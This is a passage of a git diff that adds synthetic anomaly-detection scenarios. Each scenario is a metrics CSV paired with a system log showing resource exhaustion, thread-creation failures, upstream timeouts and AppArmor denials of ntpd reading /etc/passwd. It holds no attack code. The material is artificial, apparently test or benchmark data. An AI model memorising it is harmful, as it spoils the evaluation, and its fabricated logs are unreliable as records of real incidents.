11:06:23 app-worker[2351]: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 11:06:25 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:06:27 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:06:30 kernel: [11345.123456] pid 1123 (app-server): maybe_deny_new_fd: too many open files (max 65535) +Jul 02 11:06:32 app-worker[2351]: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 11:06:35 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:06:37 app-worker[2351]: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 11:06:40 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:06:42 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:06:45 kernel: [11345.123456] pid 1123 (app-server): maybe_deny_new_fd: too many open files (max 65535) +Jul 02 11:06:47 app-worker[2351]: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 11:06:50 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:06:53 app-worker[2351]: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 11:06:55 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:06:57 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:07:00 kernel: [11345.123456] pid 1123 (app-server): maybe_deny_new_fd: too many open files (max 65535) +Jul 02 11:07:03 app-worker[2351]: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 11:07:05 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:07:08 app-worker[2351]: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 11:07:10 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:07:12 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:07:15 kernel: [11345.123456] pid 1123 (app-server): maybe_deny_new_fd: too many open files (max 65535) +Jul 02 11:07:17 app-worker[2351]: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 11:07:20 app-server[1123]: ERROR accept4: Too many open files (24) +Jul 02 11:07:22 app-worker[2351]: java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 11:07:25 app-server[1123]: ERROR accept4: Too many open files (24) diff --git a/anom_dataset/scenario_6/anom_6_8.csv b/anom_dataset/scenario_6/anom_6_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..f1f465b316659a2d45e0dd5778d0b6787f6a5e38 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,18.41077432917316,42.05237063256064,27.876894806313516,1.4638877893171085,1.5557810604400006 +2025-07-02T11:00:05Z,13.88995030813352,35.869581543752595,20.151761211150482,1.4393055234689913,1.074796692738008 +2025-07-02T11:00:10Z,17.28954211328134,36.081547654084176,21.097325089865638,1.1851785641940253,1.5710350030149078 +2025-07-02T11:00:15Z,14.592314796434048,41.87572611201737,28.83519269923324,1.2660286094950557,1.6416888490729353 +2025-07-02T11:00:20Z,16.46240885216929,40.85911132226707,23.88310283576485,0.9445856844305258,1.4636871895518841 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a/anom_dataset/scenario_6/anom_6_8.log b/anom_dataset/scenario_6/anom_6_8.log new file mode 100644 index 0000000000000000000000000000000000000000..9367194324cf9638f49d242df8956e9ea71f1777 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_8.log @@ -0,0 +1,44 @@ +Jul 02 11:00:00 app[1234]: INFO Starting application services... +Jul 02 11:00:10 app[1234]: INFO User 'admin' logged in from 192.168.2.5 +Jul 02 11:00:25 app[1234]: INFO Processing request GET /api/data +Jul 02 11:00:50 app[1234]: INFO Database query executed in 25ms +Jul 02 11:01:15 app[1234]: INFO User 'guest' accessed resource /public/dashboard +Jul 02 11:01:25 app[1234]: INFO Background job 'cleanup' completed successfully +Jul 02 11:01:40 app[1234]: INFO User 'guest' accessed resource /public/dashboard +Jul 02 11:02:05 app[1234]: INFO User 'guest' accessed resource /public/dashboard +Jul 02 11:02:30 app[1234]: INFO User 'guest' accessed resource /public/dashboard +Jul 02 11:02:40 app[1234]: INFO Background job 'cleanup' completed successfully +Jul 02 11:02:55 app[1234]: INFO User 'guest' accessed resource /public/dashboard +Jul 02 11:03:20 app[1234]: INFO User 'guest' accessed resource /public/dashboard +Jul 02 11:03:45 app[1234]: INFO User 'guest' accessed resource /public/dashboard +Jul 02 11:03:55 app[1234]: INFO Background job 'cleanup' completed successfully +Jul 02 11:04:10 app[1234]: INFO User 'guest' accessed resource /public/dashboard +Jul 02 11:05:00 app[1234]: ERROR Exception in connection pool: java.net.SocketException: Too many open files (Accept failed) +Jul 02 11:05:10 app[1234]: WARN Could not accept new connection from 192.168.2.10 +Jul 02 11:05:20 app[1234]: ERROR Exception in connection pool: java.net.SocketException: Too many open files +Jul 02 11:05:30 app[1234]: WARN High number of open file descriptors detected: 1023 (limit 1024) +Jul 02 11:05:40 app[1234]: ERROR Failed to open file '/var/log/app/audit.log': Too many open files +Jul 02 11:06:10 app[1234]: ERROR Failed to allocate new connection from pool +Jul 02 11:06:15 app[1234]: ERROR java.lang.OutOfMemoryError: unable to create new native thread for thread-2075 +Jul 02 11:06:15 kernel: [11342.522] unable to create new native thread +Jul 02 11:06:20 app[1234]: ERROR Failed to allocate new connection from pool +Jul 02 11:06:25 app[1234]: ERROR java.lang.OutOfMemoryError: unable to create new native thread for thread-2077 +Jul 02 11:06:25 kernel: [11342.522] unable to create new native thread +Jul 02 11:06:30 app[1234]: ERROR Failed to allocate new connection from pool +Jul 02 11:06:35 app[1234]: ERROR java.lang.OutOfMemoryError: unable to create new native thread for thread-2079 +Jul 02 11:06:35 kernel: [11342.522] unable to create new native thread +Jul 02 11:06:40 app[1234]: ERROR Failed to allocate new connection from pool +Jul 02 11:06:45 app[1234]: ERROR java.lang.OutOfMemoryError: unable to create new native thread for thread-2081 +Jul 02 11:06:45 kernel: [11342.522] unable to create new native thread +Jul 02 11:06:50 app[1234]: ERROR Failed to allocate new connection from pool +Jul 02 11:06:55 app[1234]: ERROR java.lang.OutOfMemoryError: unable to create new native thread for thread-2083 +Jul 02 11:06:55 kernel: [11342.522] unable to create new native thread +Jul 02 11:07:00 app[1234]: ERROR Failed to allocate new connection from pool +Jul 02 11:07:05 app[1234]: ERROR java.lang.OutOfMemoryError: unable to create new native thread for thread-2085 +Jul 02 11:07:05 kernel: [11342.522] unable to create new native thread +Jul 02 11:07:10 app[1234]: ERROR Failed to allocate new connection from pool +Jul 02 11:07:15 app[1234]: ERROR java.lang.OutOfMemoryError: unable to create new native thread for thread-2087 +Jul 02 11:07:15 kernel: [11342.522] unable to create new native thread +Jul 02 11:07:20 app[1234]: ERROR Failed to allocate new connection from pool +Jul 02 11:07:25 app[1234]: ERROR java.lang.OutOfMemoryError: unable to create new native thread for thread-2089 +Jul 02 11:07:25 kernel: [11342.522] unable to create new native thread diff --git a/anom_dataset/scenario_6/anom_6_9.csv b/anom_dataset/scenario_6/anom_6_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..dabda8c4ce5528e6ad9660b5876406e49d5fa9ff --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T08:00:00Z,19.964446016022762,43.269184766322965,26.94373684496196,0.85820433290373,1.5142265762760303 +2025-08-22T08:00:05Z,10.868461704481383,40.21490011174838,21.663699141375332,1.3544809111225653,1.6224895076996408 +2025-08-22T08:00:10Z,10.382385670801176,41.8631989445702,26.627712707050698,0.9707417151842017,1.549284899611402 +2025-08-22T08:00:15Z,16.077225577617696,40.0227100155723,21.47476836383853,1.1509606648833939,1.6403275952041607 +2025-08-22T08:00:20Z,18.774214458247148,38.62934331955133,25.59592974502568,1.2551376601260578,1.7189242129067261 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+2025-08-22T08:07:05Z,84.84159361443254,97.25680919897572,20.772934352994767,0.23552845669867825,0.2284056065063229 +2025-08-22T08:07:10Z,88.66107104333098,97.50716289414527,20.678750926333617,0.2706149259524434,0.3091943553045491 +2025-08-22T08:07:15Z,89.74113728579664,93.46377144118091,27.35639581579894,0.2036621500731553,0.35119221626431524 +2025-08-22T08:07:20Z,82.21594374176593,96.48275991102874,26.96111407550559,0.39615478243002056,0.3169892240320469 +2025-08-22T08:07:25Z,87.82262011083994,94.42618739638228,28.993255618610107,0.22792597294222763,0.23420248236768096 diff --git a/anom_dataset/scenario_6/anom_6_9.log b/anom_dataset/scenario_6/anom_6_9.log new file mode 100644 index 0000000000000000000000000000000000000000..457d761d0b8ba73667e7806ea6ee33951ca962bb --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_9.log @@ -0,0 +1,55 @@ +Aug 22 08:00:00 CRON[15]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 22 08:00:00 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 08:00:25 sshd[10234]: Accepted publickey for user admin from 10.0.2.15 port 42812 ssh2 +Aug 22 08:00:25 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 08:00:50 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 08:01:00 CRON[195]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 22 08:01:15 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 22 08:01:15 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 08:01:40 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 08:02:00 CRON[375]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 22 08:02:05 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 08:02:30 systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 22 08:02:30 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 08:02:55 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 08:03:00 CRON[555]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 22 08:03:20 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 08:03:40 web-server[1123]: INFO New connection accepted from client 183. Total threads: 220 +Aug 22 08:03:45 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 08:04:00 CRON[735]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 22 08:04:00 web-server[1123]: INFO New connection accepted from client 123. Total threads: 240 +Aug 22 08:04:10 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 08:04:20 web-server[1123]: INFO New connection accepted from client 179. Total threads: 260 +Aug 22 08:04:35 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 08:04:40 web-server[1123]: INFO New connection accepted from client 181. Total threads: 280 +Aug 22 08:05:00 CRON[915]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 22 08:05:00 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 08:05:00 web-server[1123]: INFO New connection accepted from client 176. Total threads: 300 +Aug 22 08:05:20 web-server[1123]: INFO New connection accepted from client 161. Total threads: 320 +Aug 22 08:05:25 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 08:05:40 web-server[1123]: INFO New connection accepted from client 103. Total threads: 340 +Aug 22 08:05:50 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 08:06:00 CRON[1095]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 22 08:06:00 kernel: pid_max reached, cannot create new thread +Aug 22 08:06:00 web-server[1123]: ERROR: accept() failed: Too many open files +Aug 22 08:06:00 web-server[1123]: java.lang.OutOfMemoryError: unable to create new native thread +Aug 22 08:06:05 web-server[1123]: WARNING Connection refused from 10.0.5.146 +Aug 22 08:06:15 kernel: pid_max reached, cannot create new thread +Aug 22 08:06:15 web-server[1123]: ERROR: accept() failed: Too many open files +Aug 22 08:06:15 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 08:06:20 web-server[1123]: WARNING Connection refused from 10.0.5.164 +Aug 22 08:06:30 kernel: pid_max reached, cannot create new thread +Aug 22 08:06:30 web-server[1123]: ERROR: accept() failed: Too many open files +Aug 22 08:06:35 web-server[1123]: WARNING Connection refused from 10.0.5.70 +Aug 22 08:06:40 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 08:06:45 kernel: pid_max reached, cannot create new thread +Aug 22 08:06:45 web-server[1123]: ERROR: accept() failed: Too many open files +Aug 22 08:06:50 web-server[1123]: WARNING Connection refused from 10.0.5.44 +Aug 22 08:07:00 CRON[1275]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 22 08:07:00 kernel: pid_max reached, cannot create new thread +Aug 22 08:07:00 web-server[1123]: ERROR: accept() failed: Too many open files +Aug 22 08:07:05 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 08:07:05 web-server[1123]: WARNING Connection refused from 10.0.5.67 +Aug 22 08:07:15 kernel: pid_max reached, cannot create new thread +Aug 22 08:07:15 web-server[1123]: ERROR: accept() failed: Too many open files +Aug 22 08:07:20 web-server[1123]: WARNING Connection refused from 10.0.5.146 diff --git a/anom_dataset/scenario_7/anom_7_1.csv b/anom_dataset/scenario_7/anom_7_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..35356b01d405e792d717696a111ea70d38e3f58c --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,16.88,42.42,22.93,1.77,1.51 +2025-07-02T10:00:05Z,13.98,39.33,21.14,1.31,1.55 +2025-07-02T10:00:10Z,11.23,36.42,26.71,2.01,1.58 +2025-07-02T10:00:15Z,13.36,40.48,22.76,2.63,1.37 +2025-07-02T10:00:20Z,12.42,42.22,28.04,1.56,2.0 +2025-07-02T10:00:25Z,6.32,41.54,21.28,1.96,2.36 +2025-07-02T10:00:30Z,16.37,40.49,19.78,2.16,1.26 +2025-07-02T10:00:35Z,20.68,35.54,21.8,2.13,1.69 +2025-07-02T10:00:40Z,17.93,41.57,30.92,1.63,1.13 +2025-07-02T10:00:45Z,15.8,38.31,27.75,2.02,1.42 +2025-07-02T10:00:50Z,14.97,40.43,24.54,2.12,1.68 +2025-07-02T10:00:55Z,13.08,39.88,29.17,1.95,1.17 +2025-07-02T10:01:00Z,16.17,41.68,24.54,2.07,1.44 +2025-07-02T10:01:05Z,10.87,40.95,20.55,1.93,0.78 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/dev/null +++ b/anom_dataset/scenario_7/anom_7_1.log @@ -0,0 +1,51 @@ +Jul 02 10:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:00:00 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 10:00:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 10:00:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 10:00:50 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 10:01:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 10:01:05 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 10:01:40 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 10:02:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 10:02:10 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:30 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout for service backend-svc, remote ip: 185.199.108.153 +Jul 02 10:02:30 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 10:02:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 10:02:35 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer for service backend-svc, remote ip: 185.199.108.247 +Jul 02 10:03:00 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout for service backend-svc, remote ip: 185.199.108.32 +Jul 02 10:03:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 10:03:05 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout for service backend-svc, remote ip: 185.199.108.84 +Jul 02 10:03:15 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout for service backend-svc, remote ip: 185.199.108.159 +Jul 02 10:03:15 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:20 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout for service backend-svc, remote ip: 185.199.108.244 +Jul 02 10:03:20 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 10:03:25 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer for service backend-svc, remote ip: 185.199.108.26 +Jul 02 10:03:30 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout for service backend-svc, remote ip: 185.199.108.120 +Jul 02 10:03:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 10:03:45 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout for service backend-svc, remote ip: 185.199.108.7 +Jul 02 10:03:50 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout for service backend-svc, remote ip: 185.199.108.214 +Jul 02 10:04:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 10:04:05 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer for service backend-svc, remote ip: 185.199.108.185 +Jul 02 10:04:10 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer for service backend-svc, remote ip: 185.199.108.83 +Jul 02 10:04:10 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 10:04:20 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout for service backend-svc, remote ip: 185.199.108.147 +Jul 02 10:04:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 10:04:35 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer for service backend-svc, remote ip: 185.199.108.65 +Jul 02 10:04:55 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer for service backend-svc, remote ip: 185.199.108.26 +Jul 02 10:05:00 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout for service backend-svc, remote ip: 185.199.108.209 +Jul 02 10:05:00 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 10:05:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 10:05:10 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout for service backend-svc, remote ip: 185.199.108.50 +Jul 02 10:05:20 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer for service backend-svc, remote ip: 185.199.108.121 +Jul 02 10:05:25 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 10:05:35 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout for service backend-svc, remote ip: 185.199.108.198 +Jul 02 10:05:40 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer for service backend-svc, remote ip: 185.199.108.181 +Jul 02 10:05:50 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 10:06:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 10:06:30 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 10:06:40 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 10:07:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 diff --git a/anom_dataset/scenario_7/anom_7_10.csv b/anom_dataset/scenario_7/anom_7_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..22015f42a14b92952b938a336ad34ebcb85b92a4 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T11:00:00Z,13.43,37.55,22.58,1.0,1.7 +2025-07-03T11:00:05Z,15.73,37.08,32.45,0.92,1.37 +2025-07-03T11:00:10Z,12.92,41.3,33.95,0.75,1.76 +2025-07-03T11:00:15Z,15.72,36.89,20.99,0.98,1.49 +2025-07-03T11:00:20Z,11.19,38.71,24.08,1.13,1.75 +2025-07-03T11:00:25Z,15.13,38.28,23.46,0.83,1.75 +2025-07-03T11:00:30Z,16.92,39.8,32.42,0.73,1.54 +2025-07-03T11:00:35Z,17.01,37.23,17.27,1.04,1.29 +2025-07-03T11:00:40Z,15.28,37.57,34.83,0.8,1.35 +2025-07-03T11:00:45Z,14.23,41.09,27.47,0.96,1.4 +2025-07-03T11:00:50Z,11.42,42.21,20.31,0.94,2.38 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+2025-07-03T11:05:55Z,15.79,40.41,26.56,0.95,1.88 +2025-07-03T11:06:00Z,14.31,42.8,23.86,0.81,2.07 +2025-07-03T11:06:05Z,13.72,39.41,34.65,0.96,1.69 +2025-07-03T11:06:10Z,11.16,43.38,26.47,1.05,1.75 +2025-07-03T11:06:15Z,11.45,40.51,23.67,0.86,1.18 +2025-07-03T11:06:20Z,18.55,42.16,26.79,0.95,1.47 +2025-07-03T11:06:25Z,10.56,41.1,28.61,0.96,1.33 +2025-07-03T11:06:30Z,13.57,38.14,26.05,0.86,1.6 +2025-07-03T11:06:35Z,18.33,41.21,22.89,1.09,1.82 +2025-07-03T11:06:40Z,15.36,39.05,24.42,0.78,1.58 +2025-07-03T11:06:45Z,21.21,40.77,20.64,1.39,1.72 +2025-07-03T11:06:50Z,15.52,35.91,26.27,0.94,0.73 +2025-07-03T11:06:55Z,14.38,44.25,22.7,0.96,1.89 +2025-07-03T11:07:00Z,15.2,43.89,32.94,0.74,1.74 +2025-07-03T11:07:05Z,18.3,43.9,24.87,0.87,1.58 +2025-07-03T11:07:10Z,15.45,39.02,22.77,0.91,1.7 +2025-07-03T11:07:15Z,14.85,40.34,20.64,1.19,1.79 +2025-07-03T11:07:20Z,18.7,41.28,28.47,0.86,1.68 +2025-07-03T11:07:25Z,18.84,36.05,20.04,0.73,1.37 diff --git a/anom_dataset/scenario_7/anom_7_10.log b/anom_dataset/scenario_7/anom_7_10.log new file mode 100644 index 0000000000000000000000000000000000000000..10dc597c877d6e10e696ca98bbdd6b7f102cea16 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_10.log @@ -0,0 +1,74 @@ +Jul 03 10:59:58 kubelet[28158]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 11:00:11 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:00:21 kubelet[11362]: INFO Successfully probed container metrics-collector +Jul 03 11:00:32 kubelet[22133]: INFO Successfully probed container metrics-collector +Jul 03 11:00:38 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:00:48 kubelet[10971]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 11:01:02 kernel: [ 1751540462.765612] audit: type=1400 audit(1751540462.627:953): apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/etc/passwd" pid=17374 comm="ntpd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Jul 03 11:01:10 kubelet[21826]: INFO Successfully probed container metrics-collector +Jul 03 11:01:22 sshd[22409]: Accepted publickey for ubuntu from 192.168.1.148 port 46253 ssh2 +Jul 03 11:01:28 systemd[1]: Started Session 65 of user ubuntu. +Jul 03 11:01:42 cron[20890]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 03 11:01:52 kubelet[26318]: INFO Successfully probed container metrics-collector +Jul 03 11:02:02 kernel: [ 1751540522.920246] audit: type=1400 audit(1751540522.834:646): apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/etc/passwd" pid=16726 comm="ntpd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Jul 03 11:02:09 sshd[20343]: Accepted publickey for ubuntu from 192.168.1.166 port 58755 ssh2 +Jul 03 11:02:19 kubelet[17012]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 11:02:30 app-server[7865]: ERROR readv() failed (104: Connection reset by peer) while reading upstream, client: 10.0.2.15, server: myapp.com, request: 'GET /api/data HTTP/1.1' +Jul 03 11:02:30 systemd[1]: Started Session 75 of user ubuntu. +Jul 03 11:02:39 kubelet[17777]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 11:02:50 kernel: [ 1751540570.783591] audit: type=1400 audit(1751540570.577:492): apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/etc/passwd" pid=26776 comm="ntpd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Jul 03 11:02:52 api-gateway[3113]: ERROR Request to downstream service failed: Read timeout for service at http://user-service/users/29353 +Jul 03 11:02:57 app-server[3513]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.0.2.15, server: myapp.com, request: 'GET /api/data HTTP/1.1' +Jul 03 11:03:00 kernel: [ 1751540580.812126] audit: type=1400 audit(1751540580.321:958): apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/etc/passwd" pid=24352 comm="ntpd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Jul 03 11:03:04 app-server[6749]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.0.2.15, server: myapp.com, request: 'GET /api/data HTTP/1.1' +Jul 03 11:03:09 kernel: [ 1751540589.849129] audit: type=1400 audit(1751540589.238:104): apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/etc/passwd" pid=13088 comm="ntpd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Jul 03 11:03:12 app-server[6162]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.0.2.15, server: myapp.com, request: 'GET /api/data HTTP/1.1' +Jul 03 11:03:15 app-server[6061]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.0.2.15, server: myapp.com, request: 'GET /api/data HTTP/1.1' +Jul 03 11:03:20 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:03:21 app-server[5020]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.0.2.15, server: myapp.com, request: 'GET /api/data HTTP/1.1' +Jul 03 11:03:32 kubelet[17708]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 11:03:37 app-server[7112]: ERROR readv() failed (104: Connection reset by peer) while reading upstream, client: 10.0.2.15, server: myapp.com, request: 'GET /api/data HTTP/1.1' +Jul 03 11:03:41 app-server[4710]: ERROR readv() failed (104: Connection reset by peer) while reading upstream, client: 10.0.2.15, server: myapp.com, request: 'GET /api/data HTTP/1.1' +Jul 03 11:03:41 systemd[1]: Started Session 189 of user ubuntu. +Jul 03 11:03:43 database-connector[6214]: WARNING Connection pool timed out. Unable to get a connection from the pool. +Jul 03 11:03:49 kernel: [ 1751540629.803937] audit: type=1400 audit(1751540629.874:532): apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/etc/passwd" pid=23424 comm="ntpd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Jul 03 11:03:52 app-server[7882]: ERROR readv() failed (104: Connection reset by peer) while reading upstream, client: 10.0.2.15, server: myapp.com, request: 'GET /api/data HTTP/1.1' +Jul 03 11:03:53 app-server[3731]: ERROR readv() failed (104: Connection reset by peer) while reading upstream, client: 10.0.2.15, server: myapp.com, request: 'GET /api/data HTTP/1.1' +Jul 03 11:04:00 app-server[4884]: ERROR readv() failed (104: Connection reset by peer) while reading upstream, client: 10.0.2.15, server: myapp.com, request: 'GET /api/data HTTP/1.1' +Jul 03 11:04:02 kubelet[28288]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 03 11:04:08 api-gateway[5603]: ERROR Request to downstream service failed: Read timeout for service at http://user-service/users/42248 +Jul 03 11:04:09 systemd[1]: Started Session 75 of user ubuntu. +Jul 03 11:04:21 kernel: [ 1751540661.385679] audit: type=1400 audit(1751540661.865:873): apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/etc/passwd" pid=23784 comm="ntpd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Jul 03 11:04:22 database-connector[8017]: WARNING Connection pool timed out. Unable to get a connection from the pool. +Jul 03 11:04:26 app-server[5748]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.0.2.15, server: myapp.com, request: 'GET /api/data HTTP/1.1' +Jul 03 11:04:32 database-connector[5231]: WARNING Connection pool timed out. Unable to get a connection from the pool. +Jul 03 11:04:32 kernel: [ 1751540672.752154] audit: type=1400 audit(1751540672.305:797): apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/etc/passwd" pid=16906 comm="ntpd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Jul 03 11:04:35 api-gateway[7264]: ERROR Request to downstream service failed: Read timeout for service at http://user-service/users/47601 +Jul 03 